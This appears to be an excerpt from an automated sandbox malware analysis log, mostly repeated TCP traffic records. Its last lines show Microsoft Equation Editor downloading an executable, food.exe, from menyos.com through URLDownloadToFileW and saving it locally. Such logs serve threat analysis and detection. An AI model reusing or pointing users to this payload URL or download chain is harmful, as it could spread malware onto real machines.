              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 104.21.35.109:443 -> 192.168.2.22:49163
              Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
              Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
              Source: global trafficHTTP traffic detected: GET /assets/home/js/bdg/food.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: menyos.comConnection: Keep-Alive
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_036706E2 URLDownloadToFileW,2_2_036706E2
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\food[1].exeJump to behavior
              Source: global trafficHTTP traffic detected: GET /assets/home/js/bdg/food.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: menyos.comConnection: Keep-Alive
              Source: EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
              Source: global trafficDNS traffic detected: DNS query: menyos.com
